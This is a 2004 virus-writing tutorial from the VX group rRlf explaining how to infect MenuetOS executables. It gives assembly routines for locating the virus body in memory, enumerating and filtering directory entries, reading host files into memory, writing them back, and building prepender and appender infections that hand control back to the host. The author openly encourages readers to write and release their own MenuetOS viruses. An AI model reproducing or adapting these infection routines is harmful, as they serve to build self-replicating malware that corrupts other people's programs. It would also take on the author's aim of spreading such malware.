MenuetOS infection    [by Second Part To Hell]

  


	  *************************************************************
	  *************************************************************
	  ************                                      ***********
	  ************           MenuetOS infection         ***********
	  ************     by Second Part To Hell/[rRlf]    ***********
	  ************                                      ***********
	  *************************************************************
	  *************************************************************


  Index:
  ******

  0) Intro words

  1) File Format
       a) General information
       b) Application Structur
       c) Header Information

  2) System Calls
       a) General Information
       b) System Call 58

  3) Virus functions
       a) Find viruscode in memory
       b) Find files
       c) Directory entries
       d) Read files to memory
       e) Write memory to files

  4) Infection Type
       a) Prepender
       b) Appender

  5) Last words



  0) Intro words

  MenuetOS is a new and free Operating System with GUI (Graphical User Interface)
  and many network tools like a eMail program or a IRC client, which fits on one disk.
  The Operating System is fully assembler written and has a great documation, more
  than that, it's open source. You can find the OS here: www.menuetos.org.
  I got the idea of writing a virus for it, when I had the first contact with it:
  One boring day in a IRC-channel VxF talked about it, and joked about writing viruses
  for it. Well, that was the start of the whole story, and as I became bored of all
  that windows based virus, I thought it would be a nice challenge for me. About five
  month after that contact the first virus (Menuet.Oxymoron) was finished. As I had
  to learn alot of it by myself, I want to share this information with you.
  And that's also the only purpose of this article.




  1) File Format

        a) General information

           MenuetOS first asks the user about the start configuration. After that
           it loads the files (from disk or harddisk) to the memory. There the data
           is available at directory '/RAMDISK/1/xxx'. The primary harddisk of your
           computer is saved as '/HARDDISK/1/xxx'. That's a basic information, and
           most important for the following dream (writing a MenuetOS virus).



	b) Application Structur

           The MenuetOS-file has a simple structur. It just consists of two parts:
           The Header and the executeable code. It looks like that:

           ----------------
           ---          ---
           ---  HEADER  ---
           ---          ---
           ----------------

           ----------------
           ---          ---
           ---  EXECUTE ---
           ---   ABLE   ---
           ---          ---
           ---   CODE   ---
           ---          ---
           ----------------

          I will explain the header in the next part of the article. The executeable code
          contains your commands and your data, which must not be executed, therefor it
          will be intelligent if you write your data after the code, which means after the
          end of your application or after the jump to the host code.
          A very important information is, that every execution file are loaded at memory offset
          0x0 (org 0x0). It's important because we could calculate with the static header
          informations and not any calculting any relative offsets. In that case, for instance
          the EP of the current file in memory is here: dword [0xC] (will be explained in the
          next part).



       c) Header information

          The header is the most important part you have to think of when you want to write
          a virus for this Operating System. There are two parts of header: the extanted and
          the not-extanted one. The not-extanted header consists of 0x1C (=28) bytes, which
          are very important. The extanted header has 8 bytes more than the other one, so
          it's size is 0x24 (=36) bytes. After the header some programs store important data,
          which means, the end of the header is not directly the beginning of the Executeable
          code.
          Now I want to show you the Menuet's header, and explain the different parts and their
          use in a virus later on:

          * Offset *  Length   *  Name                  *
          ***********************************************
          * 00h    *  8 bytes  *  File ID               *
          * 08h    *  4 bytes  *  required OS           *
          * 0Ch    *  4 bytes  *  Entry Point           *
          * 10h    *  4 bytes  *  File length           *
          * 14h    *  4 bytes  *  Used memory           *
          * 18h    *  4 bytes  *  extanted header / esp *
          ***********************************************
          * 1Ch    *  4 bytes  *  Parameters            *
          * 20h    *  4 bytes  *  Icon Information      *
          ***********************************************


          File ID:
                   This 2 dword tell the OS, that it's an executeable file.
                   The File ID should be 'MENUET00' or 'MENUET01'. I haven't
                   found any difference between these two ways.

          Required OS:
                   This double word tells the OS, which version of MenuetOS
                   it needs. Up to now (June 2004), Menuet exists in it's version
                   0.77. The dword of a program which just run at MenuetOS 0.77+
                   would contain the value '77'. But I have just seen two different
                   values: 1 and 38. Due to this, and the fact, that it's not
                   important for the file, we could use it as our virus sign.
                   Just overwrite this value with a number less than 77 (but not 1
                   or 38 :] ).

          Entry Point:
                   This is also a very important value for our virus. Here we
                   get the information where the file's code starts. This value
                   could be 0x1c, if it's no extanted header without data or much
                   bigger, if it contains alot of data. Anyway, this value is also
                   very important for finding the virus code in memory. If it's a
                   prepender, the virus is at EP or if it's an appender, this is the
                   value you could change, so that the virus runs first.

          File length:
                   This is the next important value. It's the size of the file, which
                   means: Headerlength+codelength. This value is generated when the
                   file is compiled. That means, if you add some bytes (the virus), the
                   value won't change, which is perfect for writing a virus. If you want
                   to write a prepender, you could store the first part of the host code
                   at that offset, or if you want to write an appender, you could add
                   your viruscode here.

          Used memory:
                   The doubleword is the amount of memory reserved by OS for the application.
                   As the virus also uses alot of memory (reading files, file rebuilding),
                   this is very important. You have to check if the value is bigger than
                   your required memory. If you infect a file using too few memory, the file
                   won't work anymore.

          Extanted Header / esp:
                   This part of the header tells us, if it uses an extanted header or not.
                   If the dword is 0x0, it doesn't use an extanted header. Otherwise it
                   uses one. In that case, the value is the offset of the stack (esp). It's
                   not important for the file, because pop/push always works without that
                   offset.

          Parameters & Icon Information:
                   These values are important for the host file, but not for us, therefor
                   I won't explain it more exactly.




  2) System Calls

       a) General information

          System Calls are the only way how you can communicate with the OS.
          Such a System call allow you to use general functions of the OS.
          To find information about that calls, you have to look at the sysfuncs.txt
          file included in the MenuetOS-package. There you can find the exact way
          of using every of the 66 (some of them aren't finished so far) calls.
          Generally a call looks like this:

          eax = function numbers
          ebx, ecx, edx, esi, edi = information for the call
          int 0x40 = System call

          An example - sysfuncs.txt contains this content:

          - - - - - - - - - -
          05 = DELAY X/100 SECS

              ebx delay in 1/100 secs
              ret: nothing changed
          - - - - - - - - - -

          If we want a 0.5 second delay in our program, we have to do it as the following
          code shows you:

          - - - - - - - - - -
          mov  eax, 5	        ; Function number: DELAY X/100 SECS
          mov  ebx, 50          ; 50/100 sec = 0.5 seconds
          int  0x40             ; System call
          - - - - - - - - - -



       b) System Call 58

          System Call 58 is the only important function for our virus.
          Information about Function 58 by sysfuncs.txt:

          - - - - - - - - - -
          58 = SYSTEM TREE ACCESS

               ebx    pointer to fileinfo block

               path examples:

               '/RAMDISK/FIRST/KERNEL.ASM',0
               '/RD/1/KERNEL.ASM',0

               '/HARDDISK/FIRST/KERNEL.ASM',0
               '/HD/1/KERNEL.ASM',0
               '/HARDDISK/FIRST/MENUET/PICS/TANZANIA.BMP',0

               fileinfo:

               dd   0                    ; 0=READ    (delete/append)
               dd   0x0                  ; 512 block to read 0+
               dd   0x1                  ; blocks to read (/bytes to write/append)
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/KERNEL.ASM',0  ; ASCIIZ dir & filename

               or

               fileinfo:

               dd   1                    ; 1=WRITE
               dd   0x0                  ; not used
               dd   10000                ; bytes to write
               dd   0x20000              ; source data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/KERNEL.ASM',0  ; ASCIIZ dir & filename

               or

               ; LBA

               fileinfo:

               dd   8                    ; 8=LBA read (/9=LBA write)
               dd   0x0                  ; 512 block to read (write)
               dd   0x1                  ; set to 1
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os (16384 bytes)
               dd   '/HARDDISK/SECOND',0 ; physical device ; ASCIIZ

                    ( or /rd/1/ )

                    LBA read must be enabled with setup

               NOTE: The asciiz in this context refers to the physical device and
                     not to logical one.
                     For hd: first=pri.master, second=pri.slave
                             third=sec.master, fourth=sec.slave

               or

               fileinfo:

               dd   16                   ; 16=START APPLICATION
               dd   0x0                  ; nop
               dd   param                ; 0 or parameter area (ASCIIZ)
               dd   0x0                  ; nop
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/HD/1/MENUET/APPS/FIRE',0  ; ASCIIZ dir & filename

               ret: eax = pid or 0xfffffff0+ for error
          - - - - - - - - - -

          This way we can find files, read file contents and write files, but this
          be explained later on.




  3) Virus functions

       a) Find viruscode in memory

          Finding the code of the virus in memory is very important for the virus,
          otherwise you can't infect other files. Now there are two ways to find
          the code, which depends on what kind of virus it is - a prepender or appender.
          (I don' think of EPO infectors so far).
          The easiest way to find the code is a call, and you pop your offset from the
          stack to a register. But a bad thing at saving it in a register is, that you
          can't use that register anymore (because the offset must not be overwritten).
          Information about CALL by OPCODES2.HLP:

          - - - - - - - - - -
                  Pushes Instruction Pointer (and Code Segment for far calls) onto
                  stack and loads Instruction Pointer with the address of proc-name.
          - - - - - - - - - -

          If you call a lable at the start of the virus, the stack contains the offset
          call. And that's the assembler source for this way:

          - - - - - - - - - -
                call    virus           ; Push current memory offset to stack
         virus:
                pop     ecx             ; Pop current memory offset to ecx
                sub     ecx, 5          ; Get the startoffset of the viruscode in memory
                xchg    ebp, ecx        ; Move ecx to ebp <- NOTE: You must not pop ebp,
                                        ;                    otherwise the OS freezes.
          - - - - - - - - - -

          As I told you, there is another way to find the Virusstart-offset, I'll tell you now:
          Prepender: This type infects files before the real code = at the Entry Point.
                     As you know from header-information that the Entry Point of the code
                     is at offset dword [0xC] and the application is loaded at org 0x0, we
                     can use the following code:

          - - - - - - - - - -
          mov   ebp, dword [0xC]        ; ebp = 0x0 + dword [0xC]
          - - - - - - - - - -

          Appender: The other type of viruses infects files behind the file. Now we know the
                    memory start of the file (org 0x0), and the filelength of the infected
                    file: dword [0x10]. So we can do the same thing again.

          - - - - - - - - - -
          mox ebp, dword [0x10]         ; ebp = 0x0 + dword [0x10]
          - - - - - - - - - -




       b) Find files

          This is of corse on of the most important parts of a virus, and in MenuetOS it's
          not that easy. The reason for that is, that there is no direct function for it.
          But, as I have told you, we have SYSTEM CALL 58, which could do that for us.
          With function 58 we can read files, but not only, we can even read directory
          entries. Just look at the following example:

          - - - - - - - - - -
          mov  eax, 58
          mov  ebx, dir_block
          int  0x40

          dir_block:
               dd   0                    ; 0=READ
               dd   0x0                  ; size of reading block: 512 + x
               dd   0x16                 ; blocks to read = 16*512 = 8192 bytes
               dd   0x20000              ; Offset where to save data
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST',0   ; Directory Name
          - - - - - - - - - -

          Now we have the directory entries at memory offset 0x20000. The exact information
          about that will follow in the next capture. For now it's just important to know, that
          the first filename (always 11 letters) is at offset 0x0, and the whole information
          of one file is 32 bytes. That means, you can find files here: 0x0, 0x20, 0x40, 0x60, ...
          As we read 16*512 bytes, we got 100 files.
          You could get the filenames with a code like that:

          - - - - - - - - - -
                   mov  ebx, 0x20000    ; Offset in memory

          nextfile:
                  add   ebx, 32	        ; Get next file-start-offset
                  cmp   ebx, 0x22000    ; Compair if we got all file
                  jne   nextfile        ; If not, get next file
          - - - - - - - - - -



       c) Directory Entries

          Last capter talked about finding files via Directory Entries, but so far I
          haven't explained you the 32 bytes of a file. Well, here we are.
          The Directory Entry contains important informations like the file attributes
          or the information about a deleted file. We have to use this informations
          for avoiding the infection of deleted files or directories. If we don't avoid
          them, the virus will freeze the system. Now look at the following list:

          - - - - - - - - - -
          struct msdos_dir_entry {
          __u8name[8],ext[3];/* name and extension */       <-- IMPORTANT
          __u8attr;/* attribute bits */                     <-- IMPORTANT
          __u8    lcase;/* Case for base and extension */
          __u8ctime_ms;/* Creation time, milliseconds */
          __u16ctime;/* Creation time */
          __u16cdate;/* Creation date */
          __u16adate;/* Last access date */
          __u16   starthi;/* High 16 bits of cluster in FAT32 */
          __u16time,date,start;/* time, date and first cluster */
          __u32size;/* file size (in bytes) */              <-- IMPORTANT
          };
          - - - - - - - - - -

          I have already told you, that the first 11 bytes contain the file name.
          But it contains also another information: If the first byte of the filename
          is 0xE5, we have a deleted file. To avoid them you should compair the
          first byte of the filename with 0xE5, and if it's equal, get the next file.

          The attribute bytes contains 7 values:

          - - - - - - - - - -
          #define ATTR_NONE    0  /* no attribute bits */
          #define ATTR_RO      1  /* read-only */
          #define ATTR_HIDDEN  2  /* hidden */
          #define ATTR_SYS     4  /* system */
          #define ATTR_VOLUME  8  /* volume label */
          #define ATTR_DIR     16 /* directory */           <-- IMPORTANT
          #define ATTR_ARCH    32 /* archived */
          - - - - - - - - - -

          If ATTR_DIR = 1, we have a directory, and we should avoid to infect it.
          To do this, you could use the following code:

          - - - - - - - - - -
          mov   cl, [ebx+11]    ; Move the attribute bits to cl
          and   cl, 0x10        ; AND 0x10 ( ???1 ???? = FOLDER )
          jnz   nextfile        ; If not zero, get next file
          - - - - - - - - - -

          The last important part of the Directory Entries is the filesize.
          You need the filesize for reading the file to memory, because MenuetOS
          don't allow us to read a whole file, but we have to include the length
          which we want to read.



       d) Read files to memory

          We have to read our filecontent to the memory, because we just can infect the
          file (= include the virus code and do some other stuff) in memory. To do that,
          we have to search the System Call, which can do it. Well, the call isī, again,
          the function 58. Look at a code reading a file:

          - - - - - - - - - -
          mov   eax, 58
          mov   ebx, fileinfo
          int   0x40


          fileinfo:

               dd   0                    ; 0=READ
               dd   0x0                  ; 512+x / block to read
               dd   0x1                  ; blocks to read
               dd   0x20000              ; return data pointer
               dd   0x10000              ; work area for os - 16384 bytes
               db   '/RAMDISK/FIRST/FILENAME',0  ; ASCIIZ dir & filename
          - - - - - - - - - -

          Now we two problems: First: We don't know how much blocks we have to read (because
          every file has a different filesize) and second we don't have the filename at the
          fileblock. We just have both information at the Directory Entry. What to do?
          As our code is executed at 0x0 in memory, we could write that informations to memory
          via 'stos'. But one more problem: The filesize at the Directory Entry is stored in bytes,
          but we need the blocks we have to read. A solution is the Assembler-command 'shr'.

          - - - - - - - - - -
                  Shifts the destination right by "count" bits with zeroes shifted
                  in on the left.  The Carry Flag contains the last bit shifted out.
          - - - - - - - - - -

          Let me show you, how that works. Let's say, we have a file with the size with 10.000 bytes:
          mov eax, filesize     <-- eax = 10011100010000b
          shr eax, 9            <-- eax = 10011b = 19d = 19 blocks
          inc eax               <-- eax = 20d
                                <-- 20*512 = 10.240 = we read got all bytes of the file

          Let's have a look at that:

          - - - - - - - - - -
          ;; ebx=offset of filename at Directory Entry

          mov   eax, dword [ebx+28]     ; Move the filesize to eax
          shr   eax, 9                  ; Get the blocks to read
          inc   eax		        ; For reading the last not completed block

          mov   edi, flb_bs             ; Move the offset of the
          stosb                         ; Write [al] to di in memory (number of blocks to flb_bs)

          mov   ecx, 11                 ; Move 11 to ecx (counter=11)
     fn2fb:                             ; File Name to File Block
          mov   al, [ebx]               ; Move the ebx-value to al
          stosb                         ; Write al to memory at offset edi (=11 letter buffer)
          inc   ebx                     ; Get next letter
     loop       fn2fb                   ; Jump to fn2fb if ecx>0 && dec ecx

          mov   eax, 58                 ; SYSTEM TREE ACCESS
          mov   ebx, fileblock          ; ebx=offset of fileblock
          int   0x40                    ; SYSTEM CALL

          file_block:
                  dd   0
                  dd   0x0
          flb_bs: dd   0x1              ; How much blocks to read (filesize/512)
                  dd   0x25000          ; Here the filecontent will be stored
                  dd   0x10000
                  db '/RAMDISK/FIRST/'  ; This is the Direction we want to infect
          fle     db '           ',0    ; The 11 byte buffer for the filename 0-ended
          - - - - - - - - - -

          This way we read the whole file to 0x25000 in memory. We just have to rewrite the code
          in memory and write the memory-content at that offset back to the file.



       e) Write memory to files

          After rewriting the file in memory, we have to write the file back. All we need we have.
          The filename in memory in the file-block, the numbers of blocks at the right address. The only
          thing we have to do is to change the first dword in the file-block. This dword is the kind
          of action (read/write, append and delete aren't ready so far). Well, we could use two different
          fileblocks, but that way we have to copy the filenames and the numbers of blocks. Well, I'll
          explain how to do it with one block. We have to write at address of file_block beginn the
          option 1. Let's look at the source:

          - - - - - - - - - -
          add   edi, file_block  ; Offset of fileblock
          mov   al, 1            ; What to write (1 for writing)
          stosb                  ; Write al to memory at offset edi

          mov   eax, 58          ; SYSTEM TREE ACCESS
          mov   ebx, file_block  ; File_block offset to ebx
          int   0x40             ; SYSTEM CALL

          file_block:
                  dd   0                ; First it's read, but we need write
                  dd   0x0
          flb_bs: dd   0x1              ; How much blocks to read (filesize/512 - still there)
                  dd   0x25000          ; The content of this offset will be written to the file
                  dd   0x10000
          filen   db '/RAMDISK/FIRST/'  ; This is the Direction we want to infect
          fle     db '           ',0    ; The 11 byte buffer for the filename 0-ended (still there)
          - - - - - - - - - -

          This code writes the 'WRITE-option' to fileblock-start, and then write flb_bs*512 bytes to
          filen until there is a NULL. The full filename and the numbers of fileblocks to write are
          still there because of the reading before.




  4) Infection Type

       a) Prepender

          A Prepender virus infects its victim infront of the original host code and stores the
          code of the first part of the file at the end of the file. Such a file looks like that:

          Uninfected Sample:           Infected Sample:

          ++++++++++++                 +++++++++++++
          ++        ++                 ++         ++
          ++ HEADER ++                 ++ HEADER  ++
          ++        ++                 ++         ++
          ++++++++++++                 +++++++++++++
          ++++++++++++                 *************
          ++        ++                 **  VIRUS  **
          ++  HOST  ++                 *************
          ++        ++                 +++++++++++++
          ++  CODE  ++                 ++ REST OF ++
          ++        ++                 ++   HOST  ++
          ++++++++++++                 +++++++++++++
                                       #############
                                       ##  START  ##
                                       ## OF HOST ##
                                       #############

          The virus searchs for the filesize of the host first. Than it copies the first bytes,
          which will be the virus-buffer, to an offset. This offset depends on the filesize.
          If the virus+header of file is bigger than the file, we would overwrite the restored
          bytes with the virus. Under that contition we have to restore the code at offset
          [viruslength+headerlenght]. Otherwise, if the file is bigger, we have to write the
          first hostpart at the end of the file. Next step is to infect the file, which means
          to insert the virusbody to the buffer at the filestart. The filestart is, as we already
          know, at offset 'dword [0xC]' stored. The filelength is at offset 'dword [0xC]'.
          After successful execution of the virus, we give the control back to the host.
          We have to write the original host-start (which is at the end of the file = dword [0x10]
          or at dword [0xC]+viruslength: You just have to check) back to the real file-start
          (dword [0xC]). We have to write the length of the virus to the filestart. But now we
          have one big problem: We can't overwrite our code as long as it is still running
          (writing back the host), so we have to be tricky: We write the restoring code for
          the host to a unused memory address and jump to that address.
          Look at the source:

          - - - - - - - - - -
          rebu:                         ; Rebuild the host code
                mov     ebx, dword [0x10]        ; Move the file length to ebx, to get the old hostcode offset

                mov     edx, dword [0xC]        ; Move the offset of the head-length to edx
                add     edx, viruslength        ; Add the viruslength to edx

                cmp     ebx, edx        ; Check if the file is smaller than the virus
                jge     notsmall2       ; If not greater or equal, go on

                mov     ebx, edx        ; Move the new offset to ebx

           notsmall2:

                mov     edi, dword [0xC]        ; Where to write: 0xC
                mov     ecx, viruslength        ; How much to write

               rbhc:                    ; Rebuild host code
                mov     al, [ebx]       ; One byte of the saved host code to al
                stosb                   ; Write al (Host code) to edi (Entry Point of file)
                inc     ebx             ; Get next byte
               loop rbhc                ; Jump to rbch if ecx>0 && inc ecx

               jmp      dword [0xC]     ; Jump to Entry Point, now with the original code
           rebuend:                     ; Rebuild host code: End
          - - - - - - - - - -



       b) Appender

          This is the second infection type. This kind of virus copies the virus after the whole
          file and modifies the header, exactly the Entry Point. After the infection is finished,
          the virus restores jumps the original Entry Point. The infected file looks like this:


          Uninfected Sample:           Infected Sample:

          ++++++++++++                 ++++++++++++++
          ++        ++                 ++ MODIFIED ++
          ++ HEADER ++                 ++  HEADER  ++
          ++        ++                 ++          ++
          ++++++++++++                 ++++++++++++++
          ++++++++++++                 ++++++++++++++
          ++        ++                 ++          ++
          ++  HOST  ++                 ++   HOST   ++
          ++        ++                 ++          ++
          ++  CODE  ++                 ++   CODE   ++
          ++        ++                 ++          ++
          ++++++++++++                 ++++++++++++++
                                       **************
                                       **  VIRUS   **
                                       ** JUMP TO  **
                                       **    EP    **
                                       **************

          An Appender searchs for the filesize and copies itself to that offset. After that, it
          searchs for the Entry Point, overwrite it with the virusstart (dword [0xC]=dword[0x10]).
          Than it writes the original Entry Point to the offset of the jump, which gives back the
          control to the host. This way MenuetOS will execute the virus infront of the host, which
          will be executed after the virus starts.




  5) Last words

     Finally, I want to say that I'm very happy after finish this article. This project (MenuetOS)
     used some hunderts of hours. First I had to analyse the way MenuetOS works, than I had to read
     many sources of Menuet-executeables, and I tried to understand them (which was sometimes very
     hard, because not everything was explained). Than learning about the Systemcalls and other
     Menuet things was nessecary. Next step to learn was the file-format (at least the header).
     Time went on, and I stared to understand how everything worked. Simple codes by me did what
     they were suposed to do, and out of some simple codes, a new virus was born.
     The reason, why I have written this article is the fact, that I didn't want to let the whole
     informations I collected last few month became lost. Well, here is that collection.
     In the end, and this should be it, it's important for me to say 'Thank You' to some persons,
     who were very important for all my MenuetOS descovering:

       - Ville Mikael Turjanmaa
                                The main-coder and founder of MenuetOS. (www.menuetos.org)
                                You seems to be a really cool and damn smart guy. MenuetOS
                                is a great field for learning about assembly language and
                                OS developing. It really helped me alot to increase my asm
                                knowlegde. This way I want to say Thanks for you, and also
                                for your interesting email-answere. Please keep on working
                                on that tool, and maybe you will also include a little AV
                                for that OS. ;) Take care!

       - VxF
                                The guy, who introduced me in Menuet and inspire me in writing
                                a virus for it. Much thanks for that all. And also much thanks
                                for everything else you have ever done for me, you're one of
                                the most important guys in my cyberlife...

       - jpelczar
                                The great progging-freak and Menuet-messiah at #MenuetOS.
                                Without you, nobody could read this article, therefor a big
                                thanks for all the time you offered to explain me different
                                strange things at MenuetOS' behaviour. Big sorry that I didn't
                                say what for i need all the information, I hope you don't
                                hate me because of that.

       - SlageHammer
                                The damn friendly guy in IRC, who knows help for every problem.
                                Molto grazie per tutti hai fatto per me. (damn, my italian is
                                even worse than my english) :D And thanks for telling me about
                                the KAV name of my virus (Menuet.Xymo.a)!

       - Music:
                   + Theatre Of Tragedy
                                Thank you for your relaxing gothic sound. It helps alot
                                listening to your music after 2 hours of no success at anything.
                                You inspire me to on, and let me feel like a god! :)

                   + Darkfall & Stuck Mojo
                                Great trash metal, which makes me feel better than a god after
                                finishing any part of the code, leting a code do what it's
                                suposed to do, and so on. It gives me the needed energy for
                                working on the next part.

                   + Music of the 60s, 70s & 80s
                                Great bands like Uriah Heep, KISS, ACDC, The Byrds, Deep Purple,
                                Scorpions, Iron Maiden, CCR, Manowar and so on give a cool and
                                relaxed feeling, which is important for writing and coding...

     But I don't want to just thank these guys above, but also YOU, reader. Thank you for reading
     this piece of code. I really hope that you have enjoyed this and that you learned some
     things (maybe not alot, but maybe some little things). I would be happy as hell if you would
     write your own virus for MenuetOS (and, of course, release it). It's not very difficult, so
     just try it! Last hello goes to my RainBow, thanks for being with me!
     Last thing I want to say is: see you out there soon...


                                                        - - - - - - - - - - - - - - -
                                                          Second Part To Hell/[rRlf]
                                                          www.spth.de.vu
                                                          spth@priest.com
                                                          written from march-june 2004
                                                          Austria
                                                        - - - - - - - - - - - - - - -